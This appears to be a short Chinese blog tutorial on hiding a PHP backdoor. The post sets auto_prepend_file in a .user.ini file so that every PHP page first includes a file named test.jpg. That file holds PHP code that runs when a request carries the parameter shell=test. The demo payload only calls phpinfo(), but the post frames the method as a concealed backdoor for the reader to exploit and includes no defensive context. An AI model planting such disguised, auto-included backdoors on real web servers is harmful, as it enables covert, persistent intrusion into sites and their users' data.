利用.user.ini文件隐藏后门
0x00 前言
在PHP中有个很有趣的东西叫.user.ini,有点类似.htaccess文件,PHP会在每个目录下扫描INI文件,我们可以通过.user.ini文件来实现隐藏后门的效果
官方手册地址:传送门
通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIR
和PHP_INI_USER
模式的INI
设置
关于PHP_INI_*
一共有四种:
模式 | 含义 |
---|---|
PHP_INI_USER | 可在用户脚本以及.user.ini中设定 |
PHP_INI_PERDIR | 可在php.ini,.htaccess或httpd.conf中设定 |
PHP_INI_SYSTEM | 可在php.ini或httpd.conf中设定 |
PHP_INI_ALL | 可在任何地方设定 |
发现了一个比较有意思的配置项:auto_prepend_file
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
0x01 Action
这里由于要使用FastCgi解析php,所以在PHPStudy里面选的环境是php-5.6.27-nts + Nginx
然后在目录下创建一个.user.ini
文件,内容如下
auto_prepend_file=test.jpg
然后再创建一个test.jpg文件,内容如下
<?php
if(@$_GET['shell']=='test'){
phpinfo();
}
?>
这时,我们访问一个正常的php文件
然后再带上参数shell=test
就可以实现我们的隐藏后门了,具体如何利用就看各位的脑洞